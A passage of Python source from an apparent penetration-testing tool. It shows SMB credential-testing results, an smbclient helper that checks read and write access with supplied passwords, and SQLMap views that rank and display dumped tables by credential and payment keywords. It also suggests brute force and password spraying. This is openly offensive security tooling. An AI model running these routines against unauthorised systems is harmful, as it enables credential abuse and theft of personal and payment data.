    click.echo(click.style(" RESULTS ", bold=True, fg='cyan'))
    click.echo("=" * 70 + "\n")

    if successful_auths:
        click.echo(click.style(f"✓ Found {len(successful_auths)} successful authentication(s)!", bold=True, fg='green'))
        click.echo()

        # Group by credential
        creds_by_user = {}
        for auth in successful_auths:
            key = f"{auth['username']}:{auth['password']}"
            if key not in creds_by_user:
                creds_by_user[key] = []
            creds_by_user[key].append(auth)

        for cred_key, auths in creds_by_user.items():
            username, password = cred_key.split(':', 1)
            click.echo(click.style(f"Credential: {username}:{password}", bold=True, fg='green'))

            for auth in auths:
                access_level = []
                if auth['writable']:
                    access_level.append(click.style('WRITE', fg='red', bold=True))
                if auth['readable']:
                    access_level.append(click.style('READ', fg='yellow'))
                access_str = ', '.join(access_level) if access_level else 'AUTHENTICATED'

                click.echo(f"  ✓ \\\\{auth['host_ip']}\\{auth['share_name']} - {access_str}")
            click.echo()

        # Create findings for each successful credential
        for cred_key, auths in creds_by_user.items():
            username, password = cred_key.split(':', 1)

            # Determine highest privilege level
            has_write = any(a['writable'] for a in auths)
            severity = 'high' if has_write else 'medium'

            # Build evidence
            evidence_lines = []
            for auth in auths:
                access_level = []
                if auth['writable']:
                    access_level.append('WRITE')
                if auth['readable']:
                    access_level.append('READ')
                access_str = ', '.join(access_level) if access_level else 'AUTHENTICATED'
                evidence_lines.append(f"  \\\\{auth['host_ip']}\\{auth['share_name']} - {access_str}")

            evidence = '\n'.join(evidence_lines)

            finding_title = f"Valid SMB Credentials: {username}"
            finding_desc = (
                f"Successfully authenticated to {len(auths)} SMB share(s) using credentials {username}:{password}. "
                f"{'WRITE access obtained - can upload files, shells, or malware. ' if has_write else ''}"
                f"This credential can be used for lateral movement, privilege escalation, or data exfiltration."
            )

            # Check if finding already exists
            existing_findings = fm.list_findings(engagement_id)
            duplicate = False
            for f in existing_findings:
                if f['title'] == finding_title and username in f.get('evidence', ''):
                    duplicate = True
                    break

            if not duplicate:
                fm.add_finding(
                    engagement_id=engagement_id,
                    title=finding_title,
                    severity=severity,
                    description=finding_desc,
                    evidence=evidence,
                    tool='smb_credential_test'
                )

        click.echo(click.style(f"✓ Created {len(creds_by_user)} finding(s)", fg='green'))
        click.echo()
    else:
        click.echo(click.style("✗ No successful authentications found", fg='yellow'))
        click.echo()
        click.echo(click.style("💡 TIP: Try different credential sources:", dim=True))
        click.echo(click.style("  - Default credentials (admin/admin, administrator/password)", dim=True))
        click.echo(click.style("  - Reused passwords from other services", dim=True))
        click.echo(click.style("  - Brute force / password spraying", dim=True))
        click.echo()

    # Show summary stats
    tested = len(results)
    succeeded = len(successful_auths)
    failed = tested - succeeded

    click.echo(click.style("📊 STATISTICS", bold=True, fg='cyan'))
    click.echo(f"  Total tests: {tested}")
    click.echo(f"  Successful: {succeeded} ({succeeded*100//tested if tested > 0 else 0}%)")
    click.echo(f"  Failed: {failed} ({failed*100//tested if tested > 0 else 0}%)")
    click.echo()

    click.pause()


def _test_smb_credential(host: str, share: str, username: str, password: str) -> tuple:
    """
    Test a single credential against an SMB share.

    Returns:
        (success, readable, writable) tuple of booleans
    """
    import subprocess
    import time

    # Test with smbclient -L to list shares (quick auth test)
    try:
        # Escape password for shell
        cmd = [
            'smbclient',
            f'//{host}/{share}',
            '-U', f'{username}%{password}',
            '-c', 'ls',
            '--option=client min protocol=NT1'  # Support older SMB versions
        ]

        result = subprocess.run(
            cmd,
            capture_output=True,
            timeout=10,
            text=True
        )

        # Check if authentication succeeded
        output = result.stdout + result.stderr

        # Authentication failed
        if 'NT_STATUS_LOGON_FAILURE' in output or 'NT_STATUS_ACCESS_DENIED' in output:
            return (False, False, False)

        # Connection/network error
        if 'NT_STATUS_HOST_UNREACHABLE' in output or 'NT_STATUS_IO_TIMEOUT' in output:
            return (False, False, False)

        # Authentication succeeded - check if we can list (readable)
        readable = result.returncode == 0 and 'NT_STATUS' not in output

        # Test write access by attempting to create a test file
        writable = False
        if readable:
            test_filename = f'.souleyez_test_{int(time.time())}.txt'
            cmd_write = [
                'smbclient',
                f'//{host}/{share}',
                '-U', f'{username}%{password}',
                '-c', f'put /dev/null {test_filename}; del {test_filename}',
                '--option=client min protocol=NT1'
            ]

            result_write = subprocess.run(
                cmd_write,
                capture_output=True,
                timeout=10,
                text=True
            )

            output_write = result_write.stdout + result_write.stderr
            writable = 'NT_STATUS' not in output_write and result_write.returncode == 0

        success = readable or writable
        return (success, readable, writable)

    except subprocess.TimeoutExpired:
        return (False, False, False)
    except FileNotFoundError:
        # smbclient not installed
        return (False, False, False)
    except Exception:
        return (False, False, False)


def _view_sqlmap_dumped_data(engagement_id: int):
    """View dumped data from SQLMap scans stored in database."""
    from rich.console import Console
    from rich.table import Table
    from souleyez.storage.sqlmap_data import SQLMapDataManager
    from souleyez.storage.crypto import get_crypto_manager

    console = Console()
    DesignSystem.clear_screen()

    click.echo("=" * 70)
    click.echo("SQLMAP DUMPED DATA")
    click.echo("=" * 70 + "\n")

    # Security warning
    click.echo(click.style("⚠ WARNING: This data may contain sensitive information (PII, credentials, PCI data)", fg='yellow', bold=True))
    click.echo(click.style("Handle according to your organization's data security policies.", fg='yellow'))
    click.echo()
    
    if not click.confirm("Continue viewing sensitive data?", default=False):
        return
    
    # Check if we need to unlock crypto
    try:
        crypto = get_crypto_manager()
        if crypto.is_encryption_enabled() and not crypto.is_unlocked():
            click.echo()
            click.echo(click.style("🔐 Encrypted data detected - password required", fg='cyan', bold=True))
            
            import getpass
            max_attempts = 3
            for attempt in range(max_attempts):
                try:
                    password = getpass.getpass("Master password: ")
                    if crypto.unlock(password):
                        click.echo(click.style("✓ Access granted", fg='green'))
                        break
                    else:
                        remaining = max_attempts - attempt - 1
                        if remaining > 0:
                            click.echo(click.style(f"✗ Incorrect password. {remaining} attempts remaining.", fg='red'))
                        else:
                            click.echo(click.style("✗ Access denied.", fg='red'))
                            click.pause()
                            return
                except KeyboardInterrupt:
                    click.echo("\n✗ Cancelled")
                    return
    except Exception as e:
        # Continue even if crypto check fails
        pass
    
    sdm = SQLMapDataManager()
    
    # Get all databases with dumped data
    databases = sdm.get_databases(engagement_id)
    
    if not databases:
        click.echo(click.style("No databases found in storage.", fg='yellow'))
        click.pause()
        return
    
    # Show databases with dumped data
    console.print("[bold cyan]Databases with Dumped Data:[/bold cyan]\n")
    
    has_dumped_data = False
    for db in databases:
        tables = sdm.get_tables(db['id'])
        tables_with_dumps = [t for t in tables if t['has_dumped_data']]
        
        if tables_with_dumps:
            has_dumped_data = True
            console.print(f"[bold green]• {db['database_name']}[/bold green] ({db['dbms_type']}) - {db['ip_address']}")
            
            for table in tables_with_dumps:
                console.print(f"  └─ [cyan]{table['table_name']}[/cyan] ({table['row_count']} rows)")
                
                # Get dumped data
                dumped = sdm.get_dumped_data(table['id'])
                if dumped and dumped.get('data'):
                    # Detect sensitive columns for masking
                    # Be specific to avoid masking IDs/row numbers
                    sensitive_patterns = [
                        'password', 'passwd', 'pwd', 'pass', 
                        'secret', 'token', 'api_key', 'apikey',
                        'ccnumber', 'cardnumber', 'card_number', 'creditcard',
                        'ccv', 'cvv', 'cvc',
                        'ssn', 'social_security',
                        'account_number', 'routing',
                        'pin', 'security_code'
                    ]
                    
                    # Show data in table format
                    data_table = Table(show_header=True, header_style="bold yellow", box=DesignSystem.TABLE_BOX, padding=(0, 1), expand=True)
                    
                    # Get columns from first row
                    if dumped['data']:
                        columns = list(dumped['data'][0].keys())
                        
                        # Identify sensitive columns
                        sensitive_cols = []
                        for col in columns:
                            if any(pattern in col.lower() for pattern in sensitive_patterns):
                                sensitive_cols.append(col)
                                data_table.add_column(f"{col} 🔒", style="red")
                            else:
                                data_table.add_column(col, style="white")
                        
                        # Add rows (limit to 10 for display)
                        for row in dumped['data'][:10]:
                            row_data = []
                            for col in columns:
                                value = str(row.get(col, ''))
                                # Mask sensitive data
                                if col in sensitive_cols and value:
                                    # Show first 2 and last 2 chars only
                                    if len(value) > 8:
                                        value = value[:2] + '*' * (len(value) - 4) + value[-2:]
                                    else:
                                        value = '*' * len(value)
                                row_data.append(value)
                            data_table.add_row(*row_data)
                        
                        console.print(data_table)
                        
                        if sensitive_cols:
                            console.print(f"  [red]🔒 Sensitive columns masked: {', '.join(sensitive_cols)}[/red]")
                        
                        if len(dumped['data']) > 10:
                            console.print(f"  [dim]... and {len(dumped['data']) - 10} more rows[/dim]")
                        
                        if dumped.get('csv_file_path'):
                            console.print(f"  [dim]CSV: {dumped['csv_file_path']}[/dim]")
                    
                    console.print()
    
    if not has_dumped_data:
        click.echo(click.style("No dumped data found. Run table dump scans to collect data.", fg='yellow'))
    
    click.echo()
    click.echo(click.style("💡 Tip: Use 'Export Data' option for full unmasked export with encryption.", fg='cyan'))
    click.pause()


def _deduplicate_sql_injections(all_vulns):
    """
    Deduplicate SQL injections by URL + parameter.
    
    Returns:
        list of dict: {
            'url': str,
            'parameter': str,
            'injection_type': str,
            'dbms': str,
            'risk_level': int (1-3),
            'job_ids': [int, ...],
            'first_found': datetime,
            'last_tested': datetime,
            'total_tests': int
        }
    """
    deduplicated = {}
    
    for vuln in all_vulns:
        if vuln.get('vuln_type') != 'sqli' or not vuln.get('injectable'):
            continue
        
        url = vuln.get('url', '')
        param = vuln.get('parameter', '')
        key = f"{url}|{param}"
        
        if key not in deduplicated:
            deduplicated[key] = {
                'url': url,
                'parameter': param,
                'injection_type': vuln.get('technique', 'Unknown'),
                'dbms': vuln.get('dbms', 'Unknown'),
                'risk_level': 3,  # All SQLi are HIGH risk
                'job_ids': [],
                'first_found': None,
                'last_tested': None,
                'total_tests': 0
            }
        
        # Add job ID to list
        job_id = vuln.get('job_id')
        if job_id and job_id not in deduplicated[key]['job_ids']:
            deduplicated[key]['job_ids'].append(job_id)
            deduplicated[key]['total_tests'] += 1
    
    return list(deduplicated.values())


def _score_table_value(table_name, database_name):
    """
    Score table value for prioritization.
    
    Returns:
        tuple: (priority_score, color, emoji)
        - priority_score: 3 (high), 2 (medium), 1 (low), 0 (system)
        - color: 'red', 'yellow', 'white', 'dim'
        - emoji: visual indicator
    """
    table_lower = table_name.lower()
    db_lower = database_name.lower()
    
    # Filter out information_schema entirely
    if db_lower == 'information_schema':
        return (0, 'dim', '')
    
    # HIGH VALUE tables
    high_value_keywords = [
        'user', 'admin', 'password', 'credential', 'account',
        'auth', 'login', 'member', 'customer', 'client',
        'payment', 'card', 'billing', 'transaction'
    ]
    
    for keyword in high_value_keywords:
        if keyword in table_lower:
            return (3, 'red', '🔴')
    
    # MEDIUM VALUE tables
    medium_value_keywords = [
        'product', 'order', 'cart', 'invoice', 'email',
        'message', 'post', 'comment', 'guest', 'config'
    ]
    
    for keyword in medium_value_keywords:
        if keyword in table_lower:
            return (2, 'yellow', '🟡')
    
    # LOW VALUE tables
    return (1, 'white', '⚪')


def _filter_and_prioritize_tables(all_tables, exclude_system=True):
    """
    Filter out system tables and prioritize by value.
    
    Args:
        all_tables: dict {database: set(tables)}
        exclude_system: bool - if True, exclude information_schema
    
    Returns:
        List of tuples: [(db, table, priority_score, color, emoji), ...]
        Sorted by priority (high to low)
    """
    filtered = []
    
    for db in all_tables:
        # Skip information_schema if exclude_system=True
        if exclude_system and db.lower() == 'information_schema':
            continue
        
        for table in all_tables[db]:
            score, color, emoji = _score_table_value(table, db)
            if score > 0:  # Skip score=0
                filtered.append((db, table, score, color, emoji))
    
    # Sort by priority (high to low), then alphabetically
    filtered.sort(key=lambda x: (-x[2], x[0], x[1]))
    
    return filtered


def _calculate_exploitation_progress(all_databases, all_tables, all_columns, dumped_tables_count):
    """
    Calculate exploitation progress through SQLMap's stages.
    
    Returns:
        dict: {
            'injection_detected': bool,
            'databases_enumerated': bool,
            'tables_enumerated': bool,
            'columns_enumerated': bool,
            'data_dumped': bool,
            'stage_name': str,
            'stage_number': int (1-5),
            'progress_percent': int (0-100)
        }
    """
    stages = {
        'injection_detected': len(all_databases) > 0 or len(all_tables) > 0,
        'databases_enumerated': len(all_databases) > 0,
        'tables_enumerated': len(all_tables) > 0,
        'columns_enumerated': len(all_columns) > 0,
        'data_dumped': dumped_tables_count > 0
    }
    
    completed_stages = sum(stages.values())
    total_stages = 5
    progress_percent = int((completed_stages / total_stages) * 100)
    
    # Determine current stage name
    if not stages['injection_detected']:
        stage_name = "No injection detected"
        stage_number = 0
    elif not stages['databases_enumerated']:
        stage_name = "Injection detected"
        stage_number = 1
    elif not stages['tables_enumerated']:
        stage_name = "Databases enumerated"
        stage_number = 2
    elif not stages['columns_enumerated']:
        stage_name = "Tables enumerated"
        stage_number = 3
    elif not stages['data_dumped']:
        stage_name = "Columns enumerated"
        stage_number = 4
    else:
        stage_name = "Data dumped"
        stage_number = 5
    
    return {
        **stages,
        'stage_name': stage_name,
        'stage_number': stage_number,
        'progress_percent': progress_percent,
        'completed_stages': completed_stages,
        'total_stages': total_stages
    }


def _show_sqlmap_executive_summary(engagement_id, all_databases, all_tables, all_columns,
                                   all_vulns, db_to_dbms, dumped_tables_count=0):
    """
    Display executive summary of SQLMap intelligence.
    """
    from rich.console import Console
    
    console = Console()
    
    # Header
    width = get_terminal_width()
    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(" SQLMAP INTELLIGENCE SUMMARY ".center(width - 2), bold=True, fg='cyan') + "│")
    click.echo("└" + "─" * (width - 2) + "┘")
    
    # Deduplicate SQL injections
    unique_injections = _deduplicate_sql_injections(all_vulns)
    
    # Calculate exploitation progress
    progress = _calculate_exploitation_progress(
        all_databases, all_tables, all_columns, dumped_tables_count
    )
    
    # Filter and prioritize tables
    high_value_tables = _filter_and_prioritize_tables(all_tables, exclude_system=True)
    high_priority = [t for t in high_value_tables if t[2] == 3]  # priority_score == 3
    medium_priority = [t for t in high_value_tables if t[2] == 2]
    
    click.echo()
    
    # 🎯 Vulnerable Endpoints
    if unique_injections:
        console.print(f"[bold red]🎯 Vulnerable Endpoints: {len(unique_injections)}[/bold red]")
        for inj in unique_injections[:3]:  # Show top 3
            url_short = inj['url'][:80] + "..." if len(inj['url']) > 80 else inj['url']
            console.print(f"   → [red]{url_short}[/red] [dim]({inj['parameter']})[/dim] [yellow][HIGH RISK][/yellow]")
        if len(unique_injections) > 3:
            console.print(f"   [dim]... and {len(unique_injections) - 3} more[/dim]")
        click.echo()
    
    # 📊 Databases Discovered
    app_databases = [db for db in all_databases if db.lower() != 'information_schema']
    if app_databases:
        console.print(f"[bold green]📊 Databases Discovered: {len(all_databases)}[/bold green]")
        for db in app_databases[:5]:
            dbms = db_to_dbms.get(db, 'Unknown')
            table_count = len(all_tables.get(db, []))
            if db.lower() == 'information_schema':
                console.print(f"   → [dim]{db}[/dim] [dim]({dbms} metadata)[/dim]")
            else:
                console.print(f"   → [green]{db}[/green] [dim]({dbms} - {table_count} tables)[/dim] [red]🔴 HIGH VALUE[/red]")
        click.echo()
    
    # 🔓 High-Value Tables Found
    if high_priority or medium_priority:
        console.print(f"[bold]🔓 High-Value Tables Found:[/bold]")
        for db, table, score, color, emoji in high_priority[:5]:
            console.print(f"   {emoji} [{color}]{db}.{table}[/{color}] [dim](Credentials likely)[/dim]")
        for db, table, score, color, emoji in medium_priority[:3]:
            console.print(f"   {emoji} [{color}]{db}.{table}[/{color}] [dim](Business data)[/dim]")
        click.echo()
    
    # 💾 Data Extracted
    console.print(f"[bold]💾 Data Extracted: {dumped_tables_count} table(s) dumped[/bold]")
    if dumped_tables_count == 0:
        console.print("   [yellow]⚠️  Auto-dump disabled for safety[/yellow]")
    click.echo()
    
    # 📈 Exploitation Progress
    console.print(f"[bold]📈 Exploitation Progress: {progress['completed_stages']}/{progress['total_stages']} stages[/bold]")
    console.print(f"   {'✅' if progress['injection_detected'] else '❌'} Injection detected")
    console.print(f"   {'✅' if progress['databases_enumerated'] else '❌'} Databases enumerated ({len(all_databases)})")
    console.print(f"   {'✅' if progress['tables_enumerated'] else '❌'} Tables enumerated ({sum(len(t) for t in all_tables.values())})")
    console.print(f"   {'✅' if progress['columns_enumerated'] else '❌'} Columns enumerated ({sum(len(c) for c in all_columns.values())})")
    console.print(f"   {'✅' if progress['data_dumped'] else '❌'} Data dumped")
    click.echo()
    
    # Menu options - formatted display only (parent handles choice)
    click.echo()
    click.echo("═" * 80)
    click.echo("OPTIONS")
    click.echo("─" * 80)
    click.echo()
    click.echo("  [1] View Vulnerable Endpoints - Detailed view of SQL injection points")
    click.echo("  [2] Explore High-Value Tables - View tables likely to contain credentials")
    click.echo("  [3] View All Databases - Show all databases including system tables")
    click.echo("  [4] Manual Data Dump Options - View and manage dumped table data")
    click.echo("  [5] Export Intelligence Report - Generate SQLMap intelligence report")
    click.echo()
    click.echo("═" * 80)
    click.echo()
    click.echo("  [q] ← Back to Main Menu")
    click.echo()

    return unique_injections


def _view_vulnerable_endpoints(unique_injections, all_vulns):
    """Display detailed view of unique SQL injection endpoints."""
    from rich.console import Console
    
    console = Console()
    
    DesignSystem.clear_screen()
    width = get_terminal_width()
    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(" VULNERABLE ENDPOINTS - DETAILED VIEW ".center(width - 2), bold=True, fg='red') + "│")
    click.echo("└" + "─" * (width - 2) + "┘")
    click.echo()
    
    console.print(f"[bold]Found {len(unique_injections)} unique SQL injection(s):[/bold]\n")
    
    for idx, inj in enumerate(unique_injections, 1):
        console.print(f"[bold red]#{idx}[/bold red] [white]{inj['url']}[/white]")
        console.print(f"   Parameter: [yellow]{inj['parameter']}[/yellow]")
        console.print(f"   Type: {inj['injection_type']}")
        console.print(f"   DBMS: {inj['dbms']}")
        console.print(f"   Risk: [red]{'★' * inj['risk_level']}/3 (HIGH)[/red]")
        console.print(f"   Jobs Tested: {', '.join(f'#{jid}' for jid in inj['job_ids'])} ({inj['total_tests']} scans)")
        click.echo()
    
    click.pause()


def _explore_high_value_tables(all_tables, all_columns, table_to_target):
    """Display high-value tables with action options."""
    from rich.console import Console
    from rich.table import Table
    
    console = Console()
    
    DesignSystem.clear_screen()
    width = get_terminal_width()
    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(" HIGH-VALUE TABLES ".center(width - 2), bold=True, fg='yellow') + "│")
    click.echo("└" + "─" * (width - 2) + "┘")
    click.echo()
    
    # Filter and prioritize
    prioritized = _filter_and_prioritize_tables(all_tables, exclude_system=True)
    
    if not prioritized:
        console.print("[yellow]No application tables found.[/yellow]")
        click.pause()
        return
    
    # Create table
    table = Table(show_header=True, header_style="bold", box=DesignSystem.TABLE_BOX, expand=True)
    table.add_column("#", style="dim", width=4)
    table.add_column("Priority", width=10)
    table.add_column("Database", style="green", width=20)
    table.add_column("Table", style="cyan", width=25)
    table.add_column("Columns", width=10, justify="center")
    table.add_column("Reason", style="dim", width=30)
    
    reasons = {
        3: "Likely contains credentials",
        2: "Business-critical data",
        1: "Reference data"
    }
    
    for idx, (db, tbl, score, color, emoji) in enumerate(prioritized, 1):
        table_key = f"{db}.{tbl}"
        col_count = len(all_columns.get(table_key, []))
        col_str = str(col_count) if col_count > 0 else "-"
        
        table.add_row(
            str(idx),
            f"{emoji} [{color}]{['LOW', 'MED', 'HIGH'][score-1]}[/{color}]",
            db,
            tbl,
            col_str,
            reasons[score]
        )
    
    console.print(table)
    click.echo()
    console.print("[dim]💡 Focus on HIGH priority tables for maximum impact[/dim]")
    click.pause()


def view_sqlmap_data(engagement_id: int):
    """View SQLMap discoveries with consistent UI pattern."""
    from souleyez.ui.interactive_selector import interactive_select
    from rich.console import Console
    from rich.table import Table
    from souleyez.storage.engagements import EngagementManager
    from souleyez.engine.background import get_all_jobs

    console = Console()
    em = EngagementManager()

    # Active filters
    filters = {
        'target': None
    }

    PAGE_SIZE = 20
    current_page = 1
    view_all = False
    selected_ids: set = set()

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()
        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(" SQLMAP DATA ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")

        # Get all SQLMap jobs for this engagement
        all_jobs = get_all_jobs()
        sqlmap_jobs = [j for j in all_jobs
                      if j.get('tool') == 'sqlmap'
                      and j.get('status') == 'done'
                      and j.get('engagement_id') == engagement_id]

        if not sqlmap_jobs:
            console.print("\n[yellow]No completed SQLMap scans found.[/yellow]")
            console.print("[dim]Run SQLMap scans from the Jobs menu to discover SQL injection[/dim]")
            console.print("[dim]vulnerabilities and enumerate databases.[/dim]")
            click.pause()
            return

        # Parse and aggregate all SQLMap results
        all_databases = set()
        db_to_target = {}
        db_to_dbms = {}
        all_tables = {}
        table_to_target = {}
        all_columns = {}
        all_dumped = {}  # {table_key: {rows, columns, row_count}}
        all_vulns = []

        for job in sqlmap_jobs:
            log_path = job.get('log')
            if log_path and os.path.exists(log_path):
                try:
                    with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                        log_content = f.read()

                    from souleyez.parsers.sqlmap_parser import parse_sqlmap_output, get_sqli_stats
                    parsed = parse_sqlmap_output(log_content, job.get('target', ''))

                    if parsed.get('databases'):
                        all_databases.update(parsed['databases'])
                        dbms_type = parsed.get('dbms', 'Unknown')
                        for db in parsed['databases']:
                            if db not in db_to_target:
                                db_to_target[db] = job.get('target', 'N/A')
                            if db not in db_to_dbms:
                                db_to_dbms[db] = dbms_type

                    if parsed.get('tables'):
                        for db, tables in parsed['tables'].items():
                            if db not in all_tables:
                                all_tables[db] = set()
                            all_tables[db].update(tables)
                            for tbl in tables:
                                table_key = f"{db}.{tbl}"
                                if table_key not in table_to_target:
                                    table_to_target[table_key] = job.get('target', 'N/A')

                    if parsed.get('columns'):
                        for key, columns in parsed['columns'].items():
                            if key not in all_columns:
                                all_columns[key] = set()
                            all_columns[key].update(columns)

                    # Aggregate dumped data
                    if parsed.get('dumped_data'):
                        for key, data in parsed['dumped_data'].items():
                            if key not in all_dumped:
                                all_dumped[key] = data
                            else:
                                # Merge rows if same table dumped multiple times
                                existing_rows = all_dumped[key].get('rows', [])
                                new_rows = data.get('rows', [])
                                all_dumped[key]['rows'] = existing_rows + new_rows
                                all_dumped[key]['row_count'] = len(all_dumped[key]['rows'])

                    for vuln in parsed.get('vulnerabilities', []):
                        vuln['job_id'] = job['id']
                        vuln['job_label'] = job.get('label', '')
                        all_vulns.append(vuln)
                except Exception:
                    pass

        # Deduplicate SQL injections
        unique_injections = _deduplicate_sql_injections(all_vulns)

        # Apply filters
        filtered_injections = unique_injections
        if filters['target']:
            filtered_injections = [i for i in filtered_injections if filters['target'] in i.get('url', '')]

        # Show active filters
        if filters['target']:
            click.echo()
            click.echo("  " + click.style("Active Filters: ", bold=True, fg='yellow') + f"target: {filters['target']}")

        # Summary line
        total_tables = sum(len(t) for t in all_tables.values())
        total_columns = sum(len(c) for c in all_columns.values())

        click.echo()
        summary_parts = [f"Total: {len(filtered_injections)} injection(s)"]
        if all_databases:
            summary_parts.append(click.style(f"Databases: {len(all_databases)}", fg='green'))
        if total_tables:
            summary_parts.append(click.style(f"Tables: {total_tables}", fg='yellow'))
        if total_columns:
            summary_parts.append(click.style(f"Columns: {total_columns}", fg='cyan'))
        click.echo("  " + "  |  ".join(summary_parts))
        click.echo()

        # Pagination
        total_pages = max(1, (len(filtered_injections) + PAGE_SIZE - 1) // PAGE_SIZE) if not view_all else 1
        if current_page > total_pages:
            current_page = total_pages

        if view_all:
            page_injections = filtered_injections
        else:
            start_idx = (current_page - 1) * PAGE_SIZE
            end_idx = start_idx + PAGE_SIZE
            page_injections = filtered_injections[start_idx:end_idx]

        # Build table
        table = Table(show_header=True, header_style="bold cyan", box=DesignSystem.TABLE_BOX, padding=(0, 1), expand=True)
        table.add_column("○", width=5, justify="center", no_wrap=True)
        table.add_column("#", width=5, justify="right")
        table.add_column("Target URL", no_wrap=False)
        table.add_column("Parameter", width=15)
        table.add_column("Type", width=12)
        table.add_column("DBMS", width=12)

        for idx, inj in enumerate(page_injections, start=(current_page - 1) * PAGE_SIZE + 1 if not view_all else 1):
            inj_id = idx  # Use index as ID since injections don't have DB IDs
            checkbox = '●' if inj_id in selected_ids else '○'
            url = (inj.get('url') or 'N/A')[:45]
            param = (inj.get('parameter') or 'N/A')[:15]
            inj_type = (inj.get('injection_type') or 'N/A')[:12]
            dbms = (inj.get('dbms') or 'N/A')[:12]

            table.add_row(checkbox, str(idx), f"[red]{url}[/red]", f"[yellow]{param}[/yellow]", inj_type, dbms)

        if page_injections:
            console.print(table)
        else:
            console.print("  [dim]No SQL injection vulnerabilities found[/dim]")

        # Pagination info
        if not view_all and total_pages > 1:
            click.echo()
            click.echo(f"  Page {current_page}/{total_pages}")

        # Selected count
        if selected_ids:
            click.echo()
            click.echo(f"  {click.style(f'✓ Selected: {len(selected_ids)} injection(s)', fg='cyan', bold=True)}")

        # TIP and menu
        click.echo()
        click.echo("  💡 TIP: Press 'i' for interactive mode")
        if not view_all and total_pages > 1:
            click.echo("  n/p: Next/Previous page")
        click.echo()
        click.echo("─" * width)
        click.echo()
        click.echo("  [#] View injection details")
        click.echo("  [a] All - Toggle pagination")
        click.echo("  [d] Databases - Browse discovered database structure")
        click.echo("  [t] Tables - View high-value tables")
        click.echo("  [f] Filter - Filter by target URL")
        click.echo("  [e] Export - Export SQLMap intelligence")
        click.echo("  [c] Clear - Clear all filters")
        click.echo("  [q] Back")
        click.echo()

        try:
            choice = click.prompt("Select option", default="q", show_default=False).strip().lower()

            if choice == 'q':
                return
            elif choice == 'n':
                if current_page < total_pages:
                    current_page += 1
            elif choice == 'p':
                if current_page > 1:
                    current_page -= 1
            elif choice == 'a':
                view_all = not view_all
                current_page = 1
            elif choice.isdigit():
                # Direct number entry - view injection by row number
                row_num = int(choice)
                if 1 <= row_num <= len(filtered_injections):
                    inj = filtered_injections[row_num - 1]
                    _view_sqlmap_injection_detail(inj, all_databases, all_tables, all_columns, db_to_dbms, all_dumped, engagement_id)
                else:
                    click.echo(click.style("  Invalid injection number", fg='red'))
                    time.sleep(0.5)
            elif choice == 'd':
                _view_sqlmap_database_details(all_databases, db_to_target, db_to_dbms, all_tables)
            elif choice == 't':
                _explore_high_value_tables(all_tables, all_columns, table_to_target)
            elif choice == 'f':
                filters['target'] = _sqlmap_filter_target(unique_injections)
                current_page = 1
            elif choice == 'e':
                click.echo(click.style("\n  Export feature coming soon!", fg='yellow'))
                click.pause()
            elif choice == 'c':
                filters = {'target': None}
                current_page = 1
                click.echo(click.style("  ✓ Filters cleared", fg='green'))
                time.sleep(0.5)
            elif choice == 'i':
                _sqlmap_select(filtered_injections, selected_ids)
                if selected_ids:
                    _sqlmap_bulk_action_menu(filtered_injections, selected_ids, all_databases, all_tables, all_columns, db_to_dbms, all_dumped, engagement_id)

        except (KeyboardInterrupt, click.Abort):
            return


def _sqlmap_filter_target(injections: list):
    """Prompt for target filter."""
    # Get unique targets
    targets = sorted(set([i.get('url', '').split('?')[0] for i in injections if i.get('url')]))

    if not targets:
        click.echo(click.style("\nNo targets found.", fg='yellow'))
        click.pause()
        return None

    click.echo("\nSelect target:")
    click.echo("  [q] Clear filter")
    for idx, target in enumerate(targets[:10], 1):
        click.echo(f"  [{idx}] {target[:60]}")

    try:
        choice_input = click.prompt("Target", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if 1 <= choice <= len(targets):
                return targets[choice - 1]
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _sqlmap_select(injections: list, selected_ids: set):
    """Select SQLMap injections using interactive selector."""
    from souleyez.ui.interactive_selector import interactive_select

    if not injections:
        click.echo(click.style("  No injections to select.", fg='yellow'))
        click.pause()
        return

    columns = [
        {'name': '#', 'width': 5, 'key': 'idx', 'justify': 'right'},
        {'name': 'Target', 'key': 'url'},
        {'name': 'Parameter', 'width': 15, 'key': 'parameter'},
        {'name': 'DBMS', 'width': 12, 'key': 'dbms'},
    ]

    # Add index to injections
    inj_items = []
    for idx, inj in enumerate(injections, 1):
        inj_items.append({
            'idx': idx,
            'url': inj.get('url', 'N/A')[:50],
            'parameter': inj.get('parameter', 'N/A'),
            'dbms': inj.get('dbms', 'N/A'),
        })

    def format_cell(item: dict, key: str) -> str:
        value = item.get(key)
        if key == 'url':
            return f'[red]{value}[/red]'
        if key == 'parameter':
            return f'[yellow]{value}[/yellow]'
        if value is None:
            return '-'
        return str(value)

    interactive_select(
        items=inj_items,
        columns=columns,
        selected_ids=selected_ids,
        get_id=lambda i: i.get('idx'),
        title='SELECT SQL INJECTIONS',
        format_cell=format_cell
    )


def _sqlmap_bulk_action_menu(injections: list, selected_ids: set, all_databases, all_tables, all_columns, db_to_dbms, all_dumped=None, engagement_id=None):
    """Show inline action menu for selected SQL injections."""
    click.echo()
    click.echo(f"  Selected: {len(selected_ids)} injection(s)")
    click.echo("    [v] View first")
    click.echo("    [q] Back")

    try:
        action = click.prompt("  Select option", default='q', show_default=False).strip().lower()

        if action == 'v' and selected_ids:
            # View first selected injection
            first_idx = next(iter(selected_ids))
            if 1 <= first_idx <= len(injections):
                inj = injections[first_idx - 1]
                _view_sqlmap_injection_detail(inj, all_databases, all_tables, all_columns, db_to_dbms, all_dumped, engagement_id)
    except (KeyboardInterrupt, click.Abort):
        pass


def _view_sqlmap_injection_detail(inj: dict, all_databases, all_tables, all_columns, db_to_dbms, all_dumped=None, engagement_id=None):
    """Show detailed view for an SQL injection with interactive data browsing."""
    from rich.console import Console
    from rich.table import Table

    console = Console()

    if all_dumped is None:
        all_dumped = {}

    current_view = 'overview'  # 'overview', 'tables', 'data:<table_key>'

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()

        # Header
        click.echo("\n┌" + "─" * (width - 2) + "┐")
